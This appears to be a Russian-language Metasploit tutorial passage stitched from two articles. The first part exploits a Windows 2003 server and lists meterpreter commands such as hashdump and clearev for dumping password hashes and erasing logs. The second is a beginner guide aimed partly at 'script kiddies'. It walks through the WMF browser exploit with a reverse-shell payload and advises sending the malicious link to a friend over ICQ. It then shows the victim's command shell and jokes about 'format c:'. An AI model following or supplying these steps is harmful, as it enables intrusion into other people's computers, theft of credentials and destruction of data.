Обратите внимание, что параметр LHOST для payload"а не установлен. Так что нам нужно установить локальный IP-адрес (например, 192.168.42.128) командой set LHOST 192.168.42.128 .

Шаг 8 :

Теперь, когда все готово и эксплоит отконфигурирован должным образом, настало время запустить его.

Мы можем воспользоваться командой check для того, чтобы убедиться в том, что наша машина-жертва доступна для выполнения на ней эксплоита. Эта опция имеется не для всех сплоитов. Например, на скриншоте хорошо видно, что в нашем случе это именно так.

Но ею стоит воспользоваться в любом случае. Это хорошая помощь со стороны системы в том плане, что позволяет удостовериться - удаленная машина еще не пропатчена эксплоитом, который вы собираетесь запустить. Другими словами - чтобы вы не запустили эксплоит на удаленной машине повторно.

В нашем же случае, как видно на скриншоте, выбранные нами эксплоиты не имеют поддержки опции check .

Команда exploit запускает выбранный сплоит, который выполняет все необходимые действия для того, чтобы на удаленной машине смог выполниться payload.

На скриншоте видно, что эксплоит успешно выполнился на удаленной машине с IP-адресом 192.168.42.129, используя уязвимость порта 135. Факт успешного выполнения эксплоита обозначается в командной строке сменой приглашения последней на meterpreter > .

Шаг 9 :

Теперь, когда дополнительное соединение между жертвом и нашей машиной установлено, нам необходимо получить контроль над сервером. Мы можем воспользоваться help для получения списка всех доступных команд, которые мы можем выполнить на удаленном сервере для выполнения соответствующих действий.

Ниже показаны результаты некоторых команд meterpreter:

  • ipconfig - показывает конфигурационные данные всех TCP/IP-соединений, запущенных на удаленной машине;
  • getuid - отображает имя сервера в консоли;
  • hashdump - создает dump базы данных SAM;
  • clearev - затирает все следы вашего пребывания на удаленной машине, какие вы могли бы оставить там.

Таким образом, мы успешно использовали фреймворк для получения доступа к удаленному серверу с запущенным на нем Windows 2003 Server. Мы предоставили себе возможность выполнять команды в командной оболочке, что дает нам право полностью контролировать удаленную машину и запускать любые задачи на ней, какие только нам потребуются.

Потенциальные возможности использования фреймворка Metasploit:

  • может использоваться при пентестинге для создания отчетов, совместно с другими системами автоматического обнаружения уязвимостей. С помощью этого фреймворка можно установить, являются ли уязвимости реально опасными и можно ли ими воспользоваться для проникновения в систему.
  • может использоваться для тестинга новых эксплоитов, которые появляются буквально каждый день. Такую проверку вы можете делать на локальном сервере, специально предназначенном для этих целей. С помощью этого фреймворка вы легко можете проверить, эффективен ли новый эксплоит или нет.
  • также является великолепным инструментом в ваших системах пентестинга для проверки, настроены ли должным образом IDS в случае возникновения атак.

Заключение

Эта статья является поверхностным обзором по использованию фреймворка . Здесь показано, как выполнить общий обзор вашей системы на предмет уязвимостей. Даже начальный опыт работы с , приобретенный в этой статье, поможет вам понять принципы работы эксплоитов. Что может в дальнейшем быть хорошим подспорьем для написания своих собственных эксплоитов . А это, в свою очередь, поможет вам выполнять задачи пентестинга на более высоком и качественном уровне.

Многие слышали наверно слова Метасплоит, метафайлы, эксплоит, шелл, уязвимость. Очень много вопросов возникает у пользователей (начинающих скрипткидисов, а так же тестеров сплоитов и уязвимостей) которые с этим так или иначе сталкиваются, вот как раз для них эта статья.

Тут я расскажу Вам что такое проект Metasploit Framework и как им пользоваться. Сразу скажу что статья рассчитана для тех кто задаёт вопросы типа этих:

  1. cd \
    cd %SystemRoot%\system32
    msfconsole: chdir: failed to change directory No such file or directory
    Это как понимать???
  2. или типа этого:
    + — —=[ msfconsole v2.6
  3. msf > ls exploits

    msf >
    А как понимать это???

Основные понятия и термины используемые в статье

Эксплоит: (англ. exploit - использовать) - это общий термин в сообществе компьютерной безопасности для обозначения фрагмента программного кода который, используя возможности предоставляемые ошибкой, отказом или уязвимостью, ведёт к повышению привилегий или отказу в обслуживании компьютерной системы.

Шелл-код: Код оболочки, шелл-код (англ. shellcode) - это двоичный исполняемый код, который обычно передаёт управление консоли, например ‘/bin/sh’ Unix shell, command.com в MS-DOS и cmd.exe в операционных системах Microsoft Windows. Код оболочки может быть использован как полезная нагрузка эксплойта, обеспечивая взломщику доступ к командной оболочке (англ. shell) в компьютерной системе.

Реверс-шелл: При эксплуатации удаленной уязвимости шелл-код может открывать заранее заданный порт TCP уязвимого компьютера, через который будет осуществляться дальнейший доступ к командной оболочке, такой код называется привязывающим к порту (англ. port binding shellcode). Если шелл-код осуществляет подключение к порту компьютера атакующего, что производится с целью обхода брандмауэра или NAT, то такой код называется обратной оболочкой (англ. reverse shell shellcode).

Уязвимость: В компьютерной безопасности, термин уязвимость (англ.vulnerability) используется для обозначения слабо защищённого или открытого места в системе. Уязвимость может быть результатом ошибок программирования или недостатков в дизайне системы. Уязвимость может существовать либо только теоретически, либо иметь известный эксплойт.

Уязвимости часто являются результатом беззаботности программиста, но, также, могут иметь и другие причины. Уязвимость обычно позволяет атакующему обмануть приложение, например,с помощью внедрения данных каким-нибудь незапланированным способом, выполнения команды на системе, на которой выполняется приложение, или путем использования упущения, которое позволяет получить непредусмотренный доступ к памяти для выполнения кода на уровне привилегий программы.

Некоторые уязвимости появляются из-за недостаточной проверки данных, вводимых пользователем; часто это позволяет напрямую выполнить команды SQL (SQL-инъекция). Другие уязвимости появляются из-за более сложных проблем, таких как запись данных в буфер, без проверки его границ, в результате буфер может быть переполнен, что может привести к исполнению произвольного кода.

Cygwi (Цигвин): набор свободных программных инструментов разработанных фирмой Cygnus Solutions, позволяющих превратить Microsoft Windows различных версий в некоторое подобие Unix-системы. Изначально Cygwin задумывался как среда для переноса программ из POSIX-совместимых операционных систем (таких как GNU/Linux, BSD и UNIX) в Windows. Программы, портированные с помощью Cygwin, работают лучше всего в Windows NT, Windows 2000, Windows XP и Windows Server 2003, но в некоторых случаях годятся Windows 95 и Windows 98. В настоящее время проект Cygwin разрабатывается сотрудниками Red Hat и другими программистами. Подобные функциональные возможности предлагает также и Microsoft в своём пакете Services for UNIX, включающем в себя подсистему Interix.

Perl (Перл): Язык программирования. Создатель Ларри Уолл (Larry Wall). Само слово Perl - аббревиатура, которая расшифровывается как Practical Extraction and Report Language (практический язык извлечений и отчётов, отчего сначала язык назывался PEARL, но затем буква «A» «потерялась»). Существует также ряд других вариантов. Согласно самому красивому из них, название perl произошло от слова pearl (жемчужина). Талисманом языка Perl является верблюд - не слишком красивое, но очень выносливое животное, способное выполнять тяжелую работу. Основной особенностью языка считаются его богатые возможности для работы с текстом, реализованные при помощи регулярных выражений.

Что такое Metasploit Framework?

Metasploit Framework (согласно описанию) это законченная среда для написания, тестирования и использования кода эксплойтов. Эта среда обеспечивает надежную платформу для испытаний на проникновение, разработки шелкодов и исследования уязвимостей». Написан на Perl (с некоторыми частями на ассемблере, Python и C) – отсюда нет привязки к какой либо платформе – будет работать в любой системе, где есть интерпретатор Perl`a (с оговоркой, см. дальше). На данный момент, пакет Metasploit Framework функционирует как на Linux так и на Windows, а так же на Мас. Скачать последнюю версию пакета для соответствующей ОС можно здесь: http://www.metasploit.com/
(Среда под Windows базируется на доработанном Cygwin, что удобно, т.к это дает пользователю известную консоль. Однако, были некоторые проблемы с поддержкой Active Perl, поэтому поддерживается только Cygwin Perl.

Установка (для win- пользователей)

Инсталятор для windows содержит всё необходимое (Сygwin, Perl), т.е. пользователям windows дополнительное ПО скачивать не потребуется.
Качаем (доступная версия 2.6 для windows на момент написания статьи).
Сейчас она актуальней (больше сплоитов).

Запускаем инсталятор: framework-2.6.exe

Получаем: в C:\Program Files\Metasploit Framework\
cygwin.bat (41.0B) — запуск cygwin
msfconsole.bat (86.0B) — запуск консоли MSF
msfupdate.bat (85.0B) — запуск обновления пакета
msfweb.bat (82.0B) — запуск WEB-интерфейса пакета
Metasploit Framework.url (51.0B) — линк на сайт разработчиков
uninst.exe (47.6KB) — деинстализация пакета

а также папки bin, etc, home, lib, sbin, tmp, usr, var — хорошо известные поклонникам Unix-систем.

Использование

Пакет Metasploit Framework имеет два варианта работы: msfconsole (консольный) и web- интерфейс msfweb. Мне удобней всегда работать в msfconsole. Это интерфейс командной строки (по типу cmd с минимальным набором команд), имеющий собственное программное окружение и систему команд. Чтоб посмотреть основные команды наберите в консоли help. Для тех у кого туго с английским привожу перевод help`a. Рассмотрим консольный вариант работы пакета.

Metasploit Framework Main Console Help

? ———— Show the main console help (Показать главное окно помощи)
cd ———— Change working directory (Выбрать рабочую директорию)
exit ———- Exit the console (Выход из консоли)
help ——— Show the main console help (Показать главное окно помощи)
info ———- Display detailed exploit or payload information (Вывести на дисплей детальную инфу о эксплоите или начинке)
quit ———- Exit the console (Выход из консоли)
reload ——— Reload exploits and payloads (Перезагрузить эксплоит и начинки)
save ——— Save configuration to disk (Записать конфигурацию на диск)
setg ———- Set a global environment variable (Установить глобальную переменную окружения)
show ——— Show available exploits and payloads (Показать доступные эксплоиты и начинки)
unsetg ——- Remove a global environment variable (Удалить глобальную переменную окружения)
use ———— Select an exploit by name (Выбрать эксплоит по имени для использования)
version ——- Show console version (Показать версию консоли)
—-нет в help`е——
ls ————- List the current directory (Показать файлы в текущей директории)
exploit ——— Run exploit (Запуск эксплоита)
msf >

М…да, скажете вы help бедноват и команд мало. Ну ничего, сами догоним что к чему.
cd [имя_директории]- стандартная команда (как и в cmd, так и в древнем дос — делает то же самое и здесь, с ней всё ясно, для тех кто в танке наберите help cd в консоли cmd)
Конечно всем не терпится использовать команду use [имя эксплоита], а затем установить переменную PAYLOAD какой либо вкусной начинкой, но всё по порядку, начнём!

Распрастранённые ошибки 90% новичков

1. Ошибка

  • Первая команда юзера после загрузки консоли ls exploits
    В этом случае их постигает такой облом:
  • msf > ls exploits
    ls: exploits: No such file or directory
    msf >
  • И все разом говорят у меня нет эксплоитов!
    А надо сделать всего лишь команду ls без параметров, чтоб посмотреть где мы находимся.
  • msf > ls
    framework perl.exe.stackdump run_msfupdate userguide.pdf
    framework.tar run_msfconsole run_msfweb
    msf >
  • Вот теперь мы видим, что папки с эксплоитами тут нет, так как она, скорее всего, находится внутри папки framework.
    В чём проблема, переходим в папку framework и посмотрим там:
  • msf > cd framework
    msfconsole: chdir: changed to directory framework
    msf >
  • Прекрасно! Теперь глянем что тут внутри скомандовав ls:
  • msf > ls
    data exploits msfcli msfencode msfpescan nops src
    docs extras msfconsole msflogdump msfupdate payloads tools
    encoders lib msfelfscan msfpayload msfweb sdk
    msf >
  • О! Сколько тут всего! И эксплоиты и начинки и доки. Вот теперь можно командовать ls exploits
  • msf > ls exploits
    3com_3cdaemon_ftp_overflow.pm mozilla_compareto.pm
    Credits.pm ms05_039_pnp.pm
    ————-много других эксплоитов——————-
    mercantec_softcart.pm wsftp_server_503_mkd.pm
    mercur_imap_select_overflow.pm wzdftpd_site.pm
    mercury_imap.pm ypops_smtp.pm
    minishare_get_overflow.pm zenworks_desktop_agent.pm
    msf >
  • Во! Сколько сплоитов! (А говорили нет эксплоитов. оказывается всё со сплоитами в порядке — они есть)

2 Ошибка

  • Команда use [имя_экплоита.pm]
  • msf > use ie_xp_pfv_metafile.pm
    msfconsole: use: please specify a valid exploit name
    msf >
  • Расширение эксплоита pm — указывать не надо, только имя сплоита!
  • msf > use ie_xp_pfv_metafile
    msf ie_xp_pfv_metafile >

3 Ошибка

  • После удачного выбора нужного сплоита сразу выбирают начинку (забывая про параметры)
  • msf > use ie_xp_pfv_metafile
    msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse
    PAYLOAD -> win32_reverse
    msf ie_xp_pfv_metafile(win32_reverse) > exploit
    Error: Missing required option: LHOST
    msf ie_xp_pfv_metafile(win32_reverse) >
  • Облом! Это что ещё? Перевожу отсутствует (не задана) рекомендованная опция (параметр) LHOST
    Вообщем перед тем как начинять сплоит, я советую задать (установить) все необходимые параметры с помощью команды set.
    У каждого сплоита их может быть разное количество (зависит от конкретной уязвимости)
    Ну и что делать, как узнать какие параметры у какого сплоита? Ответ уже был выше! в help`e! Командуем: info [имя_сплоита], например узнаем всё про wmf-сплоит (ie_xp_pfv_metafile)
  • msf > info ie_xp_pfv_metafile
    Name: Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Executi
    Class: remote
    Version: $Revision: 1.18 $
    Target OS: win32, winxp, win2003
    Keywords: wmf
    Privileged: No
    Disclosure: Dec 27 2005
  • Provided By:
    H D Moore san
    O600KO78RUSunknown.ru
  • Available Targets:
    Automatic — Windows XP / Windows 2003 / Windows Vista
  • Available Options:
  • Exploit: Name Default Description
    ——— ——— ——- —————————————
    optional REALHOST External address to use for redirects
    T)
    optional HTTPHOST 0.0.0.0 The local HTTP listener host
    required HTTPPORT 8080 The local HTTP listener port
  • ……….пропущено………….
    msf >
  • Вот вам вся и подробная инфа о сплоите, нас интересует optional
    Для ленивых:
    HTTPHOST (LHOST) — Локальный IP адрес сервера на котором повиснет сплоит (адрес твоего компа)
    HTTPORT (LPORT) — его порт (8080 — по умолчанию)
    REALHOST (RHOST) — внешний адрес для редиректа (WAN — адрес если твой комп находится за NAT)

4. Ошибка

  • Важно! Всегда и везде имена переменных окружения писать только ЗАГЛАВНЫМИ буквами!

5. Ошибка

  • >msf ie_xp_pfv_metafile(win32_reverse) > exploit
    msf >Could not start listener: Operation not permitted
    Что делать? — освободить порт (уже занят чем то, буквально — не могу запустить слушатель:операция не разрешена) или использовать другой, например set LPORT 8081

6 Ошибка

  • Client connected from ххх.ххх.ххх.ххх:1879…
    Undefined subroutine &Pex::Utils::JSUnescape called at /home/framework/exploits/
    ie_vml_rectfill.pm line 156.
    Exiting Reverse Handler.
    msf ie_vml_rectfill(win32_reverse) >
    Это ещё что? Неопределённая подпрограмма и … ну вообщем скорее всего вы скачали свежий сплоит и засунули в старую версию пакета, вообщем работать не будет. Cплоиты которые вышли после пакета в большинстве своём будут работать только на свежей версии, на данный момент 2.7 (как раз касается свежего сплоита ie_vml_rectfill.pm. Так что или обновляйте пакет, либо качайте последний…

Пример
(практическое использование)

  • Эксплоит: ie_xp_pfv_metafile, начинка win32_reverse
  • msf > use ie_xp_pfv_metafile
    msf ie_xp_pfv_metafile > set LHOST 10.0.0.1
    LHOST -> 10.0.0.1

Вообщем разобрались задали всё необходимое для сплоита, теперь можно переходить к начинке:
командуем set PAYLOAD [имя_начинки],

  • msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse
    PAYLOAD -> win32_reverse
    msf ie_xp_pfv_metafile(win32_reverse) >msf ie_xp_pfv_metafile(win32_reverse) > exploit

[*] Starting Reverse Handler.

Готово! Консоль говорит, что жду соединений к http://10.0.0.1:8080/
Впариваем ссылку другу (или подружке) например через асю..

Маша, смотри какой прикол: http://10.0.0.1:8080/ (прим. вообще-то тут должен быть внешний ip)

[*] HTTP Client connected from 10.0.0.2:1116, redirecting… — клиент соединился, его IP 10.0.0.2:1116, редирект

[*] HTTP Client connected from 10.0.0.2:1117, sending 1604 bytes of payload… — отправлено 1604 байт начинки (реверс-шелл тут)

[*] Got connection from 10.0.0.1:4321 10.0.0.2:1118 — установлено соединение (пайп с cmd удалённого компа)

  • Microsoft Windows XP [‘?абЁп 5.1.2600]
    (‘) ?RаЇRа жЁп? cЄаRбRдв, 1985-2001.
    <>

О блин!, Это ещё что, скажете Вы — это командная строка удалённого компа того юзверя!
А что за абракадабра? — Это не та кодовая страница выбрана (у него русская винда стоит!) Сейчас проверим! chcp

  • C:\Documents and Settings\?¤¬Ё-Ёбва вRа\? ЎRзЁc бвR<>chcp
    chcp
    ‘?Єгй п ЄR¤Rў п бва -Ёж: 866
    <>

Точно это 866, поставим 1251 (виндовую, а не до с)

  • C:\Documents and Settings\?¤¬Ё-Ёбва вRа\? ЎRзЁc бвR<>chcp 1251
    chcp 1251
    ‘?Єгй п ЄR¤Rў п бва -Ёж: 1251
    C:\Documents and Settings\Администратор\Рабочий стол>

О! Теперь всё по русски! Что делать в cmd чужого компа зависит от вашей фантазии, список команд смотрите в help по консольным командам windows. (format c: — жесть!)
Был разобран конкретный пример использования WMF-Эксплоита с начинкой реверс-шелла, ваши варианты могут быть другими.